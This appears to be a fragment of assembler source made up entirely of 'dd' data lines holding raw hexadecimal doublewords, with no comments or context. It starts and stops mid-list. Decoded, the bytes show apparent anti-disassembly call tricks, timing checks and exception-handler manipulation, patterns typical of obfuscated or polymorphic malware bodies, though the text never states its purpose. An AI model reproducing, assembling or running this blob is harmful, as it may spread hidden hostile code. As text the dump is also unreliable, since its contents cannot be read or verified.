52420000h, 0F489DFC3h, 23FAC3B3h, 5DBD2371h, 6A060329h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0A7D144A3h, 0B5FFD8BDh, 606A734h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 78C35747h, 95FF5896h dd 6031CB1h, 0E3816651h, 965BB5C6h, 0E5D9BF66h, 0F88B6650h dd 0F6D78196h, 0FF1689A4h, 6A734B5h, 6595FF06h, 6A060311h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 4138C353h, 0F6804BABh, 95BD834Bh, 60317h dd 84840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 96C5C8C3h, 5CCF0A63h, 8D01A7A4h dd 6031211h, 759D2B60h, 89060319h, 3265D8Dh, 50966106h dd 0F5F5152h, 5ADF8B31h, 0BF605058h, 6C5563C7h, 0CE8h dd 87548B00h, 2A6ECAB2h, 776DED50h, 0A40EBBBBh, 6159792Bh dd 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 432C4657h, 0B5FF624Ch, 606A734h, 6195FFFCh dd 6A060306h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 5CF7C352h, 4B38A20Ch, 319271DFh dd 12D59D8Bh, 0DABF0603h, 0FF0CBE10h, 6A734B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 5CB7A2ADh, 0AE195FFh, 0B3510603h, 0BD835FE1h, 603218Dh dd 21840F02h, 56000000h, 2820Fh, 5F570000h, 0FD858B5Fh dd 8B060301h, 303F9BDh, 3D9D8B06h, 0C6060331h, 0DE8B0000h dd 30B985C7h, 603h, 830F0000h, 6, 2C498589h, 0EAE90603h dd 8BFFFFF3h, 31FD5BDh, 6AC18B06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DEFEC353h dd 0E5F2A002h, 2860F44h, 53000000h, 11858D5Bh, 0F060328h dd 58Ah, 0BB67BF00h, 50903005h, 0FA8B6652h, 0BB66310Fh dd 585A1A10h, 9078B750h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 8FC35242h, 0D1B7DBA7h, 0B420BB51h, 6A5F4D72h dd 20DB8100h, 6A279827h, 0E7816600h, 858DD78Ch, 60804DAh dd 28A4BB66h, 2019BD8Bh, 0C0830603h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 699D8BCFh dd 0F060312h, 0F90FEB7h, 381h, 0FA8B6600h, 52506050h, 0FC78B66h dd 0DE8B6631h, 5060585Ah, 5A310F52h, 0DA8B6658h, 0F9906161h dd 8B66006Ah, 60006ADAh, 2E459501h, 11E90603h, 0FA000000h dd 28C1A416h, 0D00D6B7Ah, 0CBFB1039h, 2FD59D81h, 0C995FF61h dd 6A06030Ch, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0D203C350h, 0D5F975E2h, 8B66FA23h dd 55BD8BF9h, 8D060330h, 697478Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0E3300524h dd 0BD8BD6F2h, 6032481h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 55822FC3h, 12E8AF6Dh dd 0BA000000h, 8FD57D95h, 0A6D3BD58h, 987BA58Bh, 3ED2A770h dd 0FB8B514Ch, 0BD835B5Fh, 6031E91h, 73850F01h, 0F000000h dd 0C8Bh, 6870F00h, 9000000h, 30B5D95h, 0F026A06h, 684h dd 45DF8100h, 506B4F19h, 50525057h, 50310F5Fh, 5A310F52h dd 5F585A58h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 9F68C357h, 0DA71975Fh dd 95297555h, 6030951h, 1CB195FFh, 81660603h, 0E9603FD3h dd 6, 3D5A9E9Fh, 74E98D9Bh, 0E800000Dh, 0 dd 0E4ED815Dh, 6A060804h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0F01CC353h, 0D5E8A88Dh dd 8889858Dh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0C428DBC3h, 17358D29h, 50500603h dd 7E952h, 695C0000h, 0FD544916h, 5A310F90h, 24048958h dd 13E8h, 0BA5CC500h, 6DF3F70Eh, 3C0A1E2Dh, 0DBB90A5Dh dd 0E010CD1h, 35FF645Bh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 73C35646h dd 0A45A3F00h, 0ABBD20D5h, 258964h, 0FF000000h, 32A1585h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 4F2AA7B8h, 6AFF6ACEh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F50C353h dd 17BFFFBFh, 0FF795465h, 31A31B5h, 8E906h, 69C00000h dd 264FF252h, 95FF7B99h, 6032015h, 0E3E9h, 0B1958900h dd 0B006030Ch, 0C1B58900h, 0E6060321h, 45858970h, 0E4060328h dd 0A99D2371h, 3C06031Ah, 0BD830F61h, 8B000000h, 31319BDh dd 0C8B60F06h, 2DD5BD89h, 6BA0603h, 2B000000h, 3002D9Dh dd 0FC18B06h, 48Bh, 6FBF6600h, 4E8C131h, 66D8B70Fh, 1FB3E2F7h dd 0BB66C82Bh, 0D18BE00Ah, 1E9BD89h, 79E90603h, 0E9000000h dd 0Ch, 577E5715h, 0A54B4EE1h, 9352F03Bh, 4E49858Bh, 95014400h dd 6032EF5h, 0F07C083h, 0C083D8BFh, 0D03BF900h, 11830Fh dd 0BD8B0000h, 6032A61h, 3FE9h, 9DEF8100h, 8B3B9C54h, 0FFFFFF8Dh dd 1E183FFh, 2A840Fh, 0C1B30000h, 0FFFFA583h, 0BFFEFFFFh dd 40CE992Bh, 4E499589h, 9E94400h, 67000000h, 5D655C1Eh dd 0E724ADF9h, 0E9DFB70Fh, 0 dd 8655B58Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 74549AC3h, 0E496CC4Dh, 6A7DB358h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 2238E396h, 1FB995FFh, 6A0603h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0A2D3F9C3h dd 0E8F1F8C5h, 13h, 9BDC4205h, 0BE0F2242h, 19B73336h, 0E0A0E0C8h dd 60DA91C8h, 0BE66E58Ah, 5B6114F9h, 1B95F53h, 80000011h dd 0E1830DDBh, 0E1BD8BFCh, 0FC060326h, 21718531h, 0C02B0603h dd 0BE8h, 3B795200h, 7742EE94h, 143C73C6h, 800F57h, 5F000000h dd 0E9D22B5Bh, 5, 0BD48D5FCh, 0C233ADC3h, 0D003E8D1h, 7504E983h dd 55006AF4h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 6C9A0FDEh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 7DC35242h, 880DEAD8h, 8B000000h, 331D195h dd 0B5958906h, 8B06031Bh, 301E18Dh, 0E7816606h, 8B504D64h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 4EF8166h dd 51006A75h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0E91260F3h, 8, 0FF90D43Ch, 399CC110h, 1D65BD83h dd 0F000603h, 6484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0B8A58Ch, 0E8000000h dd 9, 15A1A795h, 24BA5261h, 0DA8B667Ah, 1C8D8D5Bh, 6A06034Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0E73AC352h, 3ED9D8Bh, 0E1FF0603h, 572CFABFh dd 0BDBD8336h, 60321h, 49C840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F23D0C3h dd 0BD83FABFh, 60321BDh, 8A840F01h, 6A000004h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0CC0DC357h, 53F1CCD6h, 1CCD8589h, 0BD830603h, 60321BDh dd 20860F03h, 0F000004h, 0B8Eh, 6E900h, 0AD5D0000h, 9A42E3C0h dd 699D8B60h, 6606030Bh, 8B66D98Ch, 4E180D9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 36C35040h, 9AB237CDh dd 0C90A7F31h, 16F840Fh, 9D8B0000h, 60303E9h, 13C1858Bh dd 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 8533BCC3h, 6031C79h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0D4C35545h, 91E4D5F0h, 29999D8Bh dd 0FE90603h, 27000000h, 190CC9BFh, 2C055847h, 633E7308h dd 895056F2h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 133577C3h, 0E96673B0h, 0Dh, 0D0EB614Ch dd 5F00D357h, 27A594Eh, 8D015624h, 60304E1h, 0FC006A5Fh dd 68A0Fh, 95890000h, 60309E5h, 0E202E968h, 0D68B6077h dd 14880Fh, 0EE80000h, 0A5000000h, 0AD206501h, 0A83A8465h dd 0E1A9265Fh, 81615B68h, 1162434h, 6A77FDh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 52FAF0C3h dd 0C1A5CA5h, 66759E00h, 0F9BD17BBh, 140595FFh, 6A0603h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0CB93A8C3h, 0C5A2D3F9h, 8589F1F8h, 606A734h, 8F0F88B3h dd 6, 28618589h, 0CE90603h, 6A000002h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 2916C352h dd 30409BDh, 2C858B06h, 6A0606A7h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 922EC350h dd 0C919E658h, 0DE8B50D6h, 1800C75Bh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0FC5CC350h, 0A730B58Bh, 6A0606h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 4EC3A7C3h dd 80261435h, 8D858B7Bh, 6A060312h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 5FCFC355h dd 6896907h, 858BFA8Bh, 60313C1h, 0AE8h, 8F1B8D00h, 6EB0F8CEh dd 0E94B1230h, 0Eh, 3FD32499h, 0ECE105B7h, 110B099Eh, 895B9409h dd 85310446h, 603145Dh, 14A8BB96h, 0BB50041Bh, 3EFE6A72h dd 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0C73F2308h, 8DBD8B5Ch, 0E8060310h, 8, 0F9005D62h dd 1670212Ah, 5BF9B70Fh, 0A72CB5FFh, 6A0606h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 7EA89C3h dd 0BF3F8A8Ah, 282E0C6Ch, 4E8h, 1F03FF00h, 8B525000h, 0BB310FD8h dd 0A695A9h, 5150585Ah, 8B5FF98Bh, 50042444h, 0D98B6653h dd 8B5B5Fh, 0AE8h, 0AB1C4C00h, 5DEA1FE4h, 527D8018h, 8C0Fh dd 5B5F0000h, 4244489h, 6E958h, 2BA20000h, 0E8925E6Ch dd 0A734858Dh, 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 7B5B2AC3h, 9D8960A6h, 60323A5h dd 0DE9h, 42957100h, 5510F34Ch, 0F0807573h, 8061F1E1h dd 8950DADBh, 95312404h, 60329C9h, 140595FFh, 62BF0603h dd 6120E4FCh, 85C7CDB3h, 60321BDh, 3, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 48C35242h, 8478E4B6h, 7797A5AFh dd 0A734BD83h, 0F000606h, 3E84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 345F8673h dd 0DE977h, 608D0000h, 86B8D52Ch, 54FFB486h, 0E9085A9Bh dd 22h, 0AA5EBB52h, 505B1B53h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 9D8BC08Bh, 6032F01h, 21F18D01h dd 0BD830603h, 60321BDh, 5E850F03h, 6A000004h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 66E6C352h, 186B4BBh, 330FD8Dh, 34BD8306h, 606A7h, 42B840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 3E8DD6C3h, 0B711B155h, 8B2BBC37h, 320B99Dh dd 34B5FF06h, 6A0606A7h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0E288C352h, 63C8C283h dd 595FF94h, 6A06032Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 101EC356h, 2923B216h dd 58CFC68Bh, 0FE9h, 25C8C400h, 0E08C30A8h, 7BAC2504h dd 748FA1A1h, 0A728B58Bh, 6A0606h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0E95364C3h, 9, 0CA232565h dd 0C5545175h, 0B70F5BBAh, 106C7F8h, 0E8000100h, 0Ah, 0FD8CFBF3h dd 918B5298h, 0BB667DBBh, 505F44C8h, 5DB35250h dd 5F56310Fh, 3489585Ah, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 39A48E8Bh, 1049BD89h dd 0B5FF0603h, 606A734h, 9D016060h, 6030FD5h, 8B616160h dd 3025D8Dh, 95FF6106h, 6032F19h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 47C35343h, 5E569F69h, 4356BAD4h dd 19619D89h, 0B58B0603h, 606A728h, 7E9h, 0BCB14600h, 0BD5911Dh dd 311D858Bh, 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0FAFBB1C3h, 819FE42Bh, 3C191EEFh dd 0C486891Eh, 1000000h, 32EC1BDh, 659D2306h, 8B060324h dd 331D195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0E381666Eh, 81662086h, 83B823C3h dd 0DA8B04C2h, 11C9BD8Bh, 50890603h, 108F0F20h, 0E9000000h dd 0Bh, 86FC0B0Eh, 496207D2h, 8DB60AB8h, 6BBF385h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 380C927Ah, 3FCECC05h, 0BD8BF218h, 6031CEDh, 0B88689h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0FA0F3EC3h, 6A4DCBD7h, 31B53100h, 89060329h dd 3208585h, 34B5FF06h, 6A0606A7h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 2ED1C353h dd 0B866D76Fh, 9D0B4C81h, 6030201h, 1CB195FFh, 6A0603h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0D4843FC3h, 8D897118h, 6032C11h, 8D0F5096h, 6, 310F5250h dd 505B585Ah, 0F98B6652h, 0BD23965Bh, 6032039h, 0A734B5FFh dd 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 2B7EC3C3h, 9175A38h, 3041D95h, 6595FF06h dd 6A060311h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0B006C351h, 0D980D4ACh, 0C58D89E6h dd 31060313h, 304E19Dh, 95BD8306h, 60317h, 31840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 9D09C7C3h, 6032E8Dh, 28A0F50h, 8B000000h, 243489DAh dd 0FFACC780h, 6A734B5h, 0F98B6606h, 2D79BD8Bh, 95FF0603h dd 6030661h, 34B5FFF5h, 6A0606A7h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8A15C351h dd 0E195FFDDh, 6606030Ah, 8342A2BFh, 3218DBDh, 840F0206h dd 51h, 5CDB589h, 95090603h, 6031AE5h, 1FD858Bh, 6A0603h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0E05D82C3h, 9376E6EFh, 6E919h, 0A2120000h, 0DDA5DD8Eh dd 0F0000C6h, 28Ah, 895B5300h, 320B19Dh, 0B985C706h, 60330h dd 8B000000h, 3236D9Dh, 0F38FE906h, 6AFFFFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B6FA7C3h dd 89F381C1h, 8D47218Fh, 3281185h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 94272987h dd 669016BAh, 0E950DF8Bh, 7, 5CD7E557h, 90334BECh, 6A2DD780h dd 79EB8000h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 724615C3h, 0EE9376Ch, 18000000h dd 8930CB3Ch, 3D1890D7h, 80547641h, 0FE858D59h, 6A060813h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 6091C355h, 0C850FC0h, 0F000000h, 68Ah, 31B58900h dd 83060322h, 816605C0h, 17B8CD3h, 311E98Dh, 60605006h dd 8E95E57h, 0F4000000h, 2B62C9EDh, 61E0C1ACh, 8D7BE66h dd 24048961h, 6E9h, 0BBCD7200h, 6A3250C9h, 3DB58900h, 6A060310h dd 0E99D8900h, 0FF06031Bh, 30CC995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 5BC362B1h dd 8D890832h, 697478Dh, 0EDBD8B06h, 0FF060326h, 8A0FD1h dd 83000000h, 31E91BDh, 850F0106h, 72h, 1A499D8Bh, 26A0603h dd 2D15BD8Bh, 0F500603h, 218Ah, 0E9525000h, 11h, 609ADBECh dd 0B8E31673h, 0EE097B14h, 0C03AEC9Dh, 0BB310FB6h, 95B6288h dd 489585Ah, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 40855D99h, 8A28B979h, 75BD8BD9h dd 0FF060303h, 31CB195h, 19852906h, 0F060309h, 52E9F9B7h dd 0E800000Eh, 0 dd 8ED815Dh, 6A060814h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0AF6C353h, 0AD213184h dd 0DE8h, 133D2200h, 0C5823FF8h, 0E14C5818h, 870F5D35h dd 6, 8B0Fh, 6A5F0000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0B1A1C353h, 3C903B05h dd 0B5AB483h, 8889858Dh, 9D8B0606h, 6031A49h, 14E890h dd 1C0D0000h, 0F8AE635Ah, 0FDA5390h, 68242066h, 3E84D9BEh dd 820FE18Eh, 3, 5FF98B66h, 12E95050h, 64000000h, 7E926CBFh dd 1B94D664h, 8F0C9754h, 2A227F29h, 66905F3Ch, 64DD63BBh dd 35FFh, 0FB8B0000h, 258964h, 2B000000h, 310419Dh, 1585FF06h dd 8B06032Ah, 323099Dh, 6AFF6A06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F9A0C355h dd 0AEBB4C8Ah, 3678D6E0h, 12058589h, 8B0F0603h, 3, 0FFF98B66h dd 31375B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 3D59ABDFh, 0A469AAD8h, 8E8h, 3D97BB00h dd 8A7CB036h, 95FF5F91h, 6032015h, 172E9h, 0FE900h, 46F30000h dd 0FCBABA30h, 0FEF5FEA7h, 833E133Bh, 0F00B0BEh, 683h dd 519D8B00h, 0E606032Eh, 0CDBD8B70h, 0E4060311h, 0EF816671h dd 613C5D03h, 139830Fh, 0BD8B0000h, 6031C51h, 0E9C8B60Fh dd 13h, 0CCA0DC21h, 0DC2E6C1Bh, 1021CA87h, 0BA936933h dd 0F9FB1F3Bh, 6BAh, 999D8B00h, 8B060313h, 12E9C1h, 0BECE0000h dd 5C09E9E7h, 431990DEh, 43C2B46Bh, 0E9E2FE8Ah, 8B04E8C1h dd 31335BDh, 0E2F76606h, 0A8B0Fh, 5E90000h, 0FA000000h dd 753DA402h, 0F88BC82Bh, 9E960h, 0E9360000h, 1DC4A54Ah dd 33683D29h, 32EB195h, 0D18B6106h, 2BBDBD8Bh, 0B0E90603h dd 0E9000000h, 9, 59B099EDh, 7F148C04h, 4C858B27h, 52505F4Ch dd 6850Fh, 8E0F0000h, 0 dd 7C0835Fh, 8B0F60F9h, 6, 880Fh, 8D8B0000h, 60331A1h dd 0C08361h, 0B860Fh, 8C0F0000h, 5, 59B45EBBh, 38F0F3Dh dd 0F000000h, 0D03BDFBFh, 22830Fh, 8A0F0000h, 0Ch, 6800Fh dd 8C0F0000h, 0 dd 3AE9h, 5810F00h, 0BB000000h, 306FE46Ah, 0FFFF8D8Bh dd 0B70FFFFFh, 1E183DEh, 1D840Fh, 9D8B0000h, 6032A85h dd 0FFFFA583h, 0FFEFFFFh, 9589D9B7h, 505F4C4Ch, 0E9D88Bh dd 8D000000h, 79756B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0CFA88A3Dh, 9D8B006Ah dd 60326E9h, 1FB995FFh, 6A0603h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 2EBDB5C3h, 66AA7903h dd 890FDF8Bh, 0 dd 0DD2B9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 9D8BC907h, 603289Dh, 6AFCE183h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 1C3CC357h, 0C95FB17Bh, 10E9C6ECh, 89000000h, 4FAC5988h dd 0FD01CD30h, 986EE83Bh, 0FCF5E5EDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 72C35040h, 11E8C02Bh, 29000000h dd 8A6472CEh, 0EE08E1C9h, 802C9DAEh, 90AC6CC1h, 5BD88B66h dd 0BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 6622F8C0h, 0AD6674BBh, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0CB17C350h, 6AF80Dh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0D80435C3h, 0B589BF4Bh, 60330C1h, 0EFCF8166h, 880D12h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0FEB642C3h, 7A4C9B76h, 81FF4887h, 5F0087E3h dd 0D1958B05h, 6A060331h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 7ED2C356h, 0C307A9A4h dd 0FB9D37EEh, 108DBD8Bh, 8D8B0603h, 60301E1h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0A8A69EC3h dd 659D8B3Bh, 83060324h, 31D65BDh, 840F0006h, 55h, 80D8BF0Fh dd 0B88FE7h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0E787C356h, 59BD8B51h dd 5B060332h, 0B9DB8166h, 1C8D8DB6h, 0E906034Dh, 0Fh, 50A7CE44h dd 744458E0h, 8B1270FDh, 0FFB0DCD1h, 2FBB66E1h, 0BDBD839Bh dd 60321h, 3B3840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 835772C3h, 321BDBDh dd 840F0106h, 3A4h, 0DE8BFB8Bh, 21BDBD83h, 0F030603h, 35D86h dd 0B8DCBF00h, 0BF601239h, 6372B46Eh, 0FD98C66h, 0E180DABFh dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 14C45685h, 890FBF17h, 13h, 7E8h, 2B8AFE00h dd 1EC2B1D4h, 20E58D89h, 35F0603h, 31BD59Dh, 0FC90A06h dd 10D84h, 0DF8B6600h, 13C1858Bh, 33FC0603h, 31C7985h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 8B90499Bh, 8B6650F9h, 870F90F8h, 3, 6AFEB70Fh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 292FAFAEh, 807BB15Fh, 4E8F4D3h, 0FF000000h dd 8A001F03h, 0FB8B50DDh, 424448Bh, 15BA6660h, 0F525045h dd 8Dh, 60310F00h, 61585A61h, 6656008Bh, 5B472BBFh, 4244489h dd 13E9h, 0BB9BA300h, 665A310Fh, 1170B245h, 998D13E0h dd 9B169B10h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 375BE66Ah, 5ED52280h, 1F018589h dd 9D8B0603h, 6031A85h, 140595FFh, 85890603h, 606A734h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 69C35040h dd 162E9h, 858BF500h, 606A72Ch, 1799BD8Bh, 0C70603h, 18h dd 8BF8B70Fh, 6A730B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 0E9D0B5E8h, 6, 16F1B920h dd 0EE9F6A1h, 0C9000000h, 8EC112F6h, 0E0555742h, 0D1ADD477h dd 8D858B6Eh, 89060312h, 31BA1BDh, 0F068906h, 858BD9B7h dd 60313C1h, 10E9h, 0CDFFE300h, 102624E6h, 6692444Eh, 9A4ECE8Dh dd 4468965h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 74C35646h, 0DE930h, 6B280000h, 6CB88BDBh, 0E7CC4CB5h dd 50C17817h, 9E4D3FBFh, 24348968h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 5AC35646h, 81661B33h, 0F667FDBh dd 584h, 0A4CCBF00h, 0D88B572Bh, 0A72CB5FFh, 9D030606h dd 6032CE5h, 0C539D868h, 0BF6656EBh, 815F704Eh, 0CA272404h dd 6A1459h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0BF66BFC3h, 858DE01Ah, 606A734h, 0BE9h, 0BABA3000h dd 0F5FEA7FCh, 3E133BFEh, 58A0Fh, 0C9BB0000h, 50131E23h dd 489F98Bh, 81666024h, 61496EE3h, 140595FFh, 61F90603h dd 9855C781h, 85C70E97h, 60321BDh, 3, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0B9C35242h, 0CB816634h, 0BD833CCDh dd 606A734h, 53840F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 2FDDC356h dd 36A40D77h, 8B74AD89h, 31CE19Dh, 0F5BD8B06h, 81060323h dd 960049CFh, 33E963h, 13E90000h, 0FB000000h, 0D2035939h dd 0D5F975E2h, 1A83FA23h, 45048049h, 30502438h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 83FA8BC0h dd 321BDBDh, 850F0306h, 4D5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 69C35141h, 9FCEEC31h, 572BFE65h dd 13D9BD23h, 0F5B0603h, 281h, 83DE8A00h, 6A734BDh, 840F0006h dd 495h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 47C35747h, 0F4B28126h, 9B57A862h, 7E97Fh, 62240000h dd 9DA7DB8h, 34B5FF6Fh, 0FF0606A7h, 32E0595h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 81A2B796h, 990B7116h, 0AF9355BFh, 0B58BF84Ah, 606A728h dd 29CD9D29h, 6C70603h, 10001h, 3318501h, 0F500603h, 28Bh dd 89F98A00h, 0BF662434h, 0BF0FF90Fh, 34B5FFDBh, 6A0606A7h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0A018C351h, 8EF69DE8h, 95FF8829h, 6032F19h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D4C35141h dd 19E3ADBEh, 23098589h, 0B58B0603h, 606A728h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 